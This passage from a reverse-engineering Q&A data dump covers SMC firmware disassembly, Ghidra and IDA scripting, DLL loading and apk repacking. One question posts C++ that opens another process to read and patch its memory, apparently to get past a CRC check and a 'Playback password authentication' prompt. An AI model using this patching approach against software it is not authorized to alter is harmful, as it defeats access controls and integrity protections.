clearly and easily hacked into the Apple SMC Update file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alex Ionescu wrote a tool to extract the data from the Apple SMC update firmware file but he never made the tool available to the public, so I made my own tool that extracts the data from the &quot;2012MBA13.smc&quot; file. I basically extracted the hex data and converted it into Binary but IDA Pro just can't understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my first question is, did I extract the correct lines of data from the &quot;2012MBA13.smc&quot; firmware file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original &quot;2012MBA13.smc&quot; Firmware SMC file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bhB9e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bhB9e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data extracted from the &quot;2012MBA13.smc&quot; firmware file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UwTE5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UwTE5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extracted Hex Data converted to Binary:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WEk5P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WEk5P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I hope I extracted the correct data lines, a total of 1920 64-Bytes data lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find all the details about the Apple Mid 2012 MacBook Air SMC's ARM Cortex M4F TI Stellaris LMFS 32Bit Microprocessor at the Github link above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro, starting at address 0x0004, &quot;jump to  operand&quot; at address 0x0251, but The least-significant bit of each vector must be 1, indicating that the exception handler is Thumb code, so at address at 0x0250 I press &quot;c&quot; on IDA pro and I only got three functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uz5hv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uz5hv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my Apple SMC firmware file is similar to Alex because I checked the strings and found the unlock password key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong which IDA pro is not able to disassemble the bin file?&#xA;The &quot;List of problems&quot; which IDA pro is giving is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address         Type        Instruction&#xA;ROM:0000024F    NODISASM    DCB    0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In IDA pro &quot;NODISASM&quot; means it can't disassemble the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I did disassemble the entire binary file using the ARM GDB, but that doesn't help much. I need to use IDA.&lt;/p&gt;&#xA;" OwnerUserId="31442" LastActivityDate="2023-11-24T17:19:33.953" Title="How to reverse engineer Apple MacBook SMC update firmware image using IDA Pro 7.2?" Tags="|ida|disassembly|binary-analysis|firmware|hexrays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24861" PostTypeId="2" ParentId="1833" CreationDate="2020-04-28T21:39:33.393" Score="0" Body="&lt;p&gt;I usually rebase it in IDA to &lt;code&gt;0&lt;/code&gt;. Then using &lt;code&gt;Adv Ctr + G&lt;/code&gt; option of StrongOD, you can just put the address from IDA as RVA to needed module.&lt;/p&gt;&#xA;" OwnerUserId="33002" LastActivityDate="2020-04-28T21:39:33.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24862" PostTypeId="2" ParentId="24857" CreationDate="2020-04-28T22:11:14.173" Score="2" Body="&lt;p&gt;If you want instruction access references to a particular variable, then first define the reference manager:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;refmanager = program.referenceManager&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then lets say you get all the local variables of a particular function - using -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vars = function.getLocalVariables()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get references to a particular variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for var in vars:&#xA;    for ref in refmanager.getReferencesTo(var):&#xA;        print(ref)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case &lt;code&gt;ref&lt;/code&gt; will be of type &lt;code&gt;Reference&lt;/code&gt;. The you can get particular references using &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/symbol/Reference.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; api. Also check &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/symbol/ReferenceManager.html#getReferencesTo(ghidra.program.model.listing.Variable)&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; for other options.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-04-28T22:11:14.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24864" PostTypeId="2" ParentId="24858" CreationDate="2020-04-29T12:45:02.960" Score="0" Body="&lt;p&gt;I'd say that it is more likely to be a faulty USB connection than real use of CTS/RTS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a signal analyzer (like Saleae Logic) and can record a signal from the USB_DM or USB_DP, you will be able to easily tell if this is USB, if there is some signal at all.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="30213" LastEditDate="2020-04-29T12:58:51.207" LastActivityDate="2020-04-29T12:58:51.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24871" PostTypeId="2" ParentId="24842" CreationDate="2020-04-30T09:12:07.930" Score="0" Body="&lt;p&gt;All action callbacks receive a context pointer with various information pre-filled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ea_t cur_ea;           ///&amp;lt; the current EA of the position in the view&#xA;  uval_t cur_value;      ///&amp;lt; the possible address, or value the cursor is positioned on&#xA;&#xA;  func_t *cur_func;      ///&amp;lt; the current function&#xA;  func_t *cur_fchunk;    ///&amp;lt; the current function chunk&#xA;&#xA;  struc_t *cur_struc;    ///&amp;lt; the current structure&#xA;  member_t *cur_strmem;  ///&amp;lt; the current structure member&#xA;&#xA;  enum_t cur_enum;       ///&amp;lt; the current enum&#xA;&#xA;  segment_t *cur_seg;    ///&amp;lt; the current segment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(from &lt;code&gt;kernwin.hpp&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can just use &lt;code&gt;ctx.cur_value&lt;/code&gt; (or its Python synonym, &lt;code&gt;cur_extracted_ea&lt;/code&gt;) to directly get the address/value/identifier under cursor, without having to resolve it yourself.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-30T09:12:07.930" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24872" PostTypeId="1" AcceptedAnswerId="24912" CreationDate="2020-04-30T15:07:11.883" Score="0" ViewCount="190" Body="&lt;p&gt;I am new to reverse engineering and I am learning about packed files.&#xA;I saw that most of the time I can recognize a packed file with a little number of import functions in PE file and not many strings but can the export functions in PE file can give me hint if a file been packed?&lt;/p&gt;&#xA;" OwnerUserId="32799" LastActivityDate="2020-05-04T17:38:49.677" Title="PE file export functions of packed file" Tags="|static-analysis|packers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24874" PostTypeId="1" CreationDate="2020-04-30T20:43:07.847" Score="0" ViewCount="3268" Body="&lt;p&gt;I didn't understand the subject of find function in Ida via signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand well that way helps to recognize libraries functions in static binary(in dynamic binary I can see the functions name) , and there is a database that contain lot of known functions with signatures, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I use that? Is that build-in in Ida? Or is there any plugin that I need to use?&lt;/p&gt;&#xA;" OwnerUserId="30423" LastEditorUserId="30423" LastEditDate="2020-04-30T21:23:07.607" LastActivityDate="2020-05-02T22:08:42.740" Title="Find functions signatures in Ida?" Tags="|ida|static-analysis|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24876" PostTypeId="1" CreationDate="2020-04-30T23:46:39.613" Score="2" ViewCount="441" Body="&lt;p&gt;Sorry if this is a basic question, as I'm very new at this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get an .exe to load a dummy .dll. I've created an example .dll project in VC++ 2019, added the functions listed in the .exe's import table, made sure to declare &lt;code&gt;extern &quot;C&quot; __declspec(dllexport)&lt;/code&gt;, using a hex editor changed the ordinals in the import table to match the new .dll and made sure the filename matches. Still, when I run the .exe with this .dll in its folder, I get this kind of error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The procedure entry point MyFunction2 could not be located in the dynamic link library MyDll.dll&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've rechecked that I haven't missed any of the function names in the import table, and that none of the function names in the .dll got mangled. Are the offsets for functions entry points in the .dll file hardcoded in the PE format? What am I missing that could cause the application to reject the .dll?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The program doesn't import &lt;code&gt;LoadLibrary&lt;/code&gt;, &lt;code&gt;CreateProcess&lt;/code&gt;, &lt;code&gt;ShellExecute&lt;/code&gt; nor any other functions I know which handle processes and libraries.&lt;/p&gt;&#xA;" OwnerUserId="33037" LastEditorUserId="33037" LastEditDate="2020-05-03T19:43:42.213" LastActivityDate="2020-05-05T08:25:13.397" Title="How does an application identify a DLL file" Tags="|windows|pe|dll|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24877" PostTypeId="2" ParentId="23113" CreationDate="2020-05-01T01:12:25.923" Score="1" Body="&lt;p&gt;Turns out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;adb shell uiautomator dump&#xA;adb pull /sdcard/window_dump.xml path/to/output&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;adb shell uiautomator dump --compressed&#xA;adb pull /sdcard/window_dump.xml path/to/output&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30907" LastActivityDate="2020-05-01T01:12:25.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24878" PostTypeId="2" ParentId="24876" CreationDate="2020-05-01T07:57:20.633" Score="0" Body="&lt;p&gt;I know this is not a direct answer, but I cant comment with my amount of rep here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the loading application is checking the DLL name, that is stored inside of the loaded DLL. There is a field somewhere in the header, that contains the name of the dll at compile time iirc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be possible, that the dll is lazy loaded and the error message is just misleading, as the error was thrown during dll loading and not during retrieving of the named function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its the first field on the section table header&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#section-table-section-&quot; rel=&quot;nofollow noreferrer&quot;&gt;Section Table header PE File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19894" LastActivityDate="2020-05-01T07:57:20.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24880" PostTypeId="1" CreationDate="2020-05-01T12:58:23.290" Score="1" ViewCount="126" Body="&lt;p&gt;Im trying to find the library inside a dyld cache that contains a specific string.&#xA;I grepped the cache file and for the offset of the string, however when im throwing the cache file to ida non of the libraries match the specific offset.&#xA;how can i find which library include that string without analyzing 1gb file ?&#xA;thanks!&lt;/p&gt;&#xA;" OwnerUserId="33040" LastActivityDate="2020-05-01T12:58:23.290" Title="finding specific string in ios dyld_shared_cache" Tags="|ida|arm|ios|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24881" PostTypeId="1" CreationDate="2020-05-01T16:17:32.687" Score="1" ViewCount="876" Body="&lt;p&gt;Hello I have an camera module of cheap wifi drone and want to reverse engineer it , but the on searching the ic number on it I couldn't find it.It has an UART and i tried connecting to usb to uart but  on opening the serial monitor nothing shows up, but on opening the app with which it works i.e WifiUfo I can see the footage of the camera .I did an nmap scan from my linux system for the open ports but there are no tcp ports open.But there are two udp ports open.Can somebody please point me in the right direction of reverse engineering it?&#xA;P.S I am fairly new to reverse engineering&lt;/p&gt;&#xA;" OwnerUserId="30566" LastActivityDate="2022-09-20T13:33:26.383" Title="Help in reverse engineering cheap chinese drone wifi camera module" Tags="|firmware|ghidra|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24882" PostTypeId="2" ParentId="24876" CreationDate="2020-05-01T17:19:01.400" Score="2" Body="&lt;p&gt;It is possible that the program is employing mittigations against DLL sideloading and won't load the DLL  from current directory. Check &lt;a href=&quot;https://support.microsoft.com/en-us/help/2389418/secure-loading-of-libraries-to-prevent-dll-preloading-attacks&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Secure loading of libraries to prevent DLL preloading attacks&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check what paths the program is actually trying to use with Process Monitor (see &lt;em&gt;Using Process Monitor to dynamically detect nonsecure loads&lt;/em&gt; in the linked article).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. to force &lt;code&gt;program.exe&lt;/code&gt; to check for DLLs in the current directory, create an empty file named &lt;code&gt;program.exe.local&lt;/code&gt;. However, this may not be enough if it's calling &lt;code&gt;LoadLibrary&lt;/code&gt; explicitly.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-01T17:19:01.400" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24883" PostTypeId="1" CreationDate="2020-05-01T20:50:05.653" Score="2" ViewCount="4784" Body="&lt;p&gt;I have a struct that holds an array (and other elements), and one of the elements is actually the size of the array. Is there a way to define a struct like that in Ghidra?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;16          | Size of array is 0x16 &#xA;00 &#xA;00 &#xA;04&#xA;00 00 00 00&#xA;10 08 0a 04&#xA;...&#xA;dc c1 50 08 |&#xA;74 cf 50 08 | Array of size 0x16&#xA;14 dd 50 08 |&#xA;(.........) |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27833" LastActivityDate="2021-02-03T07:03:25.357" Title="Is it possible to define an array of variable size in Ghidra (size in the struct itself)" Tags="|ghidra|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24884" PostTypeId="1" CreationDate="2020-05-01T23:42:32.783" Score="4" ViewCount="1091" Body="&lt;p&gt;Looking at a large x86 binary, I'm seeing lots of instances where strings are assembled on the stack as quadwords like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G59cU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G59cU.png&quot; alt=&quot;original decompiled output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to set the type of &lt;code&gt;puStack40&lt;/code&gt; to &lt;code&gt;char[38]&lt;/code&gt;, I get the following output that's still not very helpful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hI4xU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hI4xU.png&quot; alt=&quot;final decompiled output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am guessing that this is because each quadword is moved in a separate instruction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l7lBx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l7lBx.png&quot; alt=&quot;assembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume there isn't, but does anyone know of a way that I can get &lt;code&gt;puStack40&lt;/code&gt; to be displayed as a string in the decompiler window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As a side note: why is this approach taken? My only guess would be to decrease the number of memory accesses. I don't think this is obfuscation since it's a large, commercial application)&lt;/p&gt;&#xA;" OwnerUserId="28279" LastActivityDate="2024-01-25T18:06:30.970" Title="Ghidra Decompiler Optimized Strings" Tags="|x86|ghidra|stack|decompiler|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24885" PostTypeId="1" AcceptedAnswerId="24891" CreationDate="2020-05-02T00:12:33.377" Score="0" ViewCount="1878" Body="&lt;p&gt;I have a stripped-down Linux-based embedded system where a closed-source program(32-bit &lt;code&gt;ELF&lt;/code&gt; binary for MIPS) depends on several shared libraries. Two of those libraries are actually the same &lt;code&gt;libcurl&lt;/code&gt; library, but compiled differently. I need to know which one the program is actually using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't install anything on that embedded system and the file system is read-only. Fortunately, there is a &lt;code&gt;gdb&lt;/code&gt; available. When I execute the program and &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Attach.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;attach&lt;/a&gt; to it with &lt;code&gt;gdb&lt;/code&gt; and print the loaded shared libraries with &lt;code&gt;info sharedlibrary&lt;/code&gt;, then both libraries seem to be loaded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info sharedlibrary&#xA;From        To          Syms Read   Shared Object Library&#xA;/* output removed for brevity */&#xA;0x28c6a8b0  0x28caf770  Yes         /usr/lib//libcurl-jke.so.1&#xA;0x28d81150  0x28d86260  Yes         /usr/lib//libcurl-kkw.so.3&#xA;/* output removed for brevity */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, when I check the functions or variables with &lt;code&gt;info functions&lt;/code&gt; or &lt;code&gt;info variables&lt;/code&gt;, then I see items from &lt;code&gt;libcurl&lt;/code&gt; under &lt;code&gt;Non-debugging symbols&lt;/code&gt;. However, I don't know if those are from &lt;code&gt;libcurl-jke.so.1&lt;/code&gt; or from &lt;code&gt;libcurl-kkw.so.3&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I &lt;code&gt;step&lt;/code&gt; through the program the debugger never shows that those libraries are used, but I know that they are because I see a HTTP GET request from this embedded system. What might cause this? Is there a way to see all the functions the program executes and files where those functions originate from using &lt;code&gt;gdb&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I could download this program and analyze it with &lt;code&gt;radare2&lt;/code&gt; if this helps.&lt;/p&gt;&#xA;" OwnerUserId="33048" LastActivityDate="2020-05-02T12:21:57.740" Title="How to detect which shared libraries a binary is actually using?" Tags="|radare2|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24887" PostTypeId="2" ParentId="24884" CreationDate="2020-05-02T03:01:38.083" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/0x6d696368/ghidra_scripts/blob/master/SearchSimpleStackStrings.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/0x6d696368/ghidra_scripts/blob/master/SearchSimpleStackStrings.md&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/0x6d696368/ghidra_scripts/blob/master/SimpleStackStrings.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/0x6d696368/ghidra_scripts/blob/master/SimpleStackStrings.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference looks like search vs at current cursor position&lt;/p&gt;&#xA;" OwnerUserId="30695" LastActivityDate="2020-05-02T03:01:38.083" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24888" PostTypeId="1" CreationDate="2020-05-02T05:30:31.773" Score="-1" ViewCount="4171" Body="&lt;p&gt;I am able to unpack an android apk file with &lt;strong&gt;apktool&lt;/strong&gt;, but when I am repacking the apk file using apktool, it just crashes with errors, and &lt;a href=&quot;https://ibotpeaches.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ibotpeaches&lt;/a&gt; seems not patching those errors for years. Now comes my question: could you please help me to recompile that androidmanifest.xml to an apk using any other tool or techniques?&lt;/p&gt;&#xA;" OwnerUserId="31398" LastEditorUserId="30460" LastEditDate="2020-05-09T00:08:41.223" LastActivityDate="2020-05-09T00:08:41.223" Title="Change androidmanifest.xml file within apk" Tags="|android|patch-reversing|apk|binary-format|binary-editing|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24889" PostTypeId="2" ParentId="24888" CreationDate="2020-05-02T09:31:21.443" Score="0" Body="&lt;p&gt;The androidmanifest.xml file can be modified and the apk can be repackaged (I've done it before on various apks), but don't forget to use zipalign and re-sign the apk. If you miss using zipalign and re-sign the apk, that may be a reason why you are getting crashes with errors.&lt;/p&gt;&#xA;" OwnerUserId="30460" LastActivityDate="2020-05-02T09:31:21.443" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24891" PostTypeId="2" ParentId="24885" CreationDate="2020-05-02T12:21:57.740" Score="1" Body="&lt;p&gt;ELF model doesn’t bind symbols to a specific library, so the first module providing a specific symbol is used. You can try to check into which address range the symbol’s value falls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, however, that at the beginning most symbols point into the executable’s PLT (program linkage table) so you might need to wait until they’re actually called to get the resolved addresses. Another option is to put a breakpoint on a symbol and then step into it to see what library you end up in. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-02T12:21:57.740" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24892" PostTypeId="2" ParentId="22307" CreationDate="2020-05-02T12:51:07.783" Score="1" Body="&lt;pre&gt;&lt;code&gt;2019-10-13 13:52:46.823 14636-14636/? W/dex2oat: Verification error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like &lt;code&gt;dex2oat&lt;/code&gt; which is a DEX code compilation tool failed bytecode verification. At first in may seem odd this happens only at runtime, but keep in mind that Android preforms Just-in-time and Ahed-of-time compilation, and both tactics are performed on device.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com...GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String): [0x29] Rejecting invocation, expected 1 argument registers, method signature has 2 or more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would guess that you called a function that expects two argument with only one arguments. That function does not appear in your snippet so it might indicate you edited some other code. Try to include the erroring function and the code that calls it so we can better understand what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope It helps!&lt;/p&gt;&#xA;" OwnerUserId="21881" LastActivityDate="2020-05-02T12:51:07.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24893" PostTypeId="2" ParentId="15308" CreationDate="2020-05-02T16:14:04.867" Score="0" Body="&lt;p&gt;I just found my photo thing again. If you download oracle virtualbox and set up a winxp guest you can use the DPFMate software. Just preload your photos on the VM and attach the USB photo frame USB device to the VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note; my antivirus says that DPFMate is a trojan virus, you may have issues with your antivirus disabling the usb. If despite this warning, you still want to go ahead, you can also set up your XP guest to discard changes when you reboot. You can just delete the virtual disk when you are done too. Also disable the network on the VM, trojans allow remote access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, unless you know what you are doing and accept the risks, don't disable your antivirus! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea, if anyone wants to test this, is a winPE or bartPE environment. Make a XP PE CD and boot from that.. (basically a lite windows environment that boots from cd, so it's readonly! Unplug your HDD.) Let us know if it works!&lt;/p&gt;&#xA;" OwnerUserId="33058" LastActivityDate="2020-05-02T16:14:04.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24894" PostTypeId="1" AcceptedAnswerId="24899" CreationDate="2020-05-02T16:18:00.690" Score="0" ViewCount="1280" Body="&lt;p&gt;I've successfully reversed and patched an application on windows, but patching the executable on disk triggers a CRC check and prevents it from loading. I've used x64dbg and have the addresses I need (they are static and don't change on reruns). However, if the unmodified executable is already loaded and running, and then the patches are applied, everything will work fine. My question is how can I write a simple loader to patch those memory addresses after execution? I've been searching for this all over the Internet and can't get my head around it. The boiler plate codes I've found are giving me headaches as fixing the c++ code errors is so confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;tchar.h&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;using namespace std;&#xA;&#xA;&#xA;&#xA;int main()&#xA;{&#xA;    int newValue = 0x24;&#xA;    uint8_t readTest;&#xA;    byte num_char[16];&#xA;&#xA;    HWND hwnd = FindWindowA(NULL, &quot;Playback password authentication&quot;);&#xA;    if (hwnd == NULL)&#xA;    {&#xA;        cout &amp;lt;&amp;lt; &quot;Cannot find window&quot; &amp;lt;&amp;lt; endl;&#xA;        Sleep(3000);&#xA;        exit(-1);&#xA;    }&#xA;    else&#xA;    {&#xA;        DWORD procID;&#xA;        GetWindowThreadProcessId(hwnd, &amp;amp;procID);&#xA;        HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);&#xA;        if (procID == NULL)&#xA;        {&#xA;            cout &amp;lt;&amp;lt; &quot;Cannot obtain process.&quot; &amp;lt;&amp;lt; endl;&#xA;            Sleep(3000);&#xA;            exit(-1);&#xA;        }&#xA;        else &#xA;        {&#xA;            ReadProcessMemory(handle, (PBYTE*)0x0052BD7E, &amp;amp;num_char, sizeof(num_char), 0);&#xA;//          WriteProcessMemory(handle, (LPVOID)0x0052BD7E, &amp;amp;newValue, sizeof(newValue), 0);&#xA;            cout &amp;lt;&amp;lt; num_char &amp;lt;&amp;lt; endl;&#xA;            Sleep(10000);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First I need the code to actually read and print the hex bytes at those addresses so I can make sure the addresses and their values are actually correct. If this returns the correct values, then I think I using WriteProcessMemory won't be that hard. But the problem is the values returned for my addresses are not those I expect and see in x64dbg.&lt;/p&gt;&#xA;" OwnerUserId="33059" LastEditorUserId="33059" LastEditDate="2020-05-02T19:23:23.893" LastActivityDate="2020-05-02T22:01:20.710" Title="Patching memory" Tags="|c++|x64dbg|patch-reversing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24895" PostTypeId="1" AcceptedAnswerId="24937" CreationDate="2020-05-02T16:57:30.640" Score="1" ViewCount="182" Body="&lt;p&gt;Why doesn't &lt;code&gt;rax&lt;/code&gt; get loaded from &lt;code&gt;xmm0&lt;/code&gt; here?  &lt;code&gt;radare2&lt;/code&gt; bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GitHub issue &lt;a href=&quot;https://github.com/radareorg/radare2/issues/16778&quot; rel=&quot;nofollow noreferrer&quot;&gt;`movq rax, xmm0` doesn't work in native debugger&lt;/a&gt; filed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0003b0e0]&amp;gt; drr&#xA;role reg    value            ref&#xA;――――――――――――――――――――――――――――――――&#xA;SN   rax    0                 0 R 0x3010102464c457f&#xA;     rbx    0                 0 R 0x3010102464c457f&#xA;A3   rcx    0                 0 R 0x3010102464c457f&#xA;A2   rdx    7ff0000000000000 &#xA;A1   rsi    0                 0 R 0x3010102464c457f&#xA;A0   rdi    0                 0 R 0x3010102464c457f&#xA;A4   r8     0                 0 R 0x3010102464c457f&#xA;A5   r9     0                 0 R 0x3010102464c457f&#xA;A6   r10    0                 0 R 0x3010102464c457f&#xA;A7   r11    0                 0 R 0x3010102464c457f&#xA;     r12    0                 0 R 0x3010102464c457f&#xA;     r13    0                 0 R 0x3010102464c457f&#xA;     r14    0                 0 R 0x3010102464c457f&#xA;     r15    0                 0 R 0x3010102464c457f&#xA;PC   rip    3b0ee             241902 (.text) sym.finite R X 'movq rax, xmm0'&#xA;BP   rbp    10078000          268926976 R W 0x0 --&amp;gt;  0 R 0x3010102464c457f&#xA;     rflags 0                 0 R 0x3010102464c457f&#xA;SP   rsp    10078000          268926976 R W 0x0 --&amp;gt;  0 R 0x3010102464c457f&#xA;[0x0003b0e0]&amp;gt; dr xmm0&#xA;0xaaaaaaaaaaaaaaaa5555555555555555&#xA;[0x0003b0e0]&amp;gt; 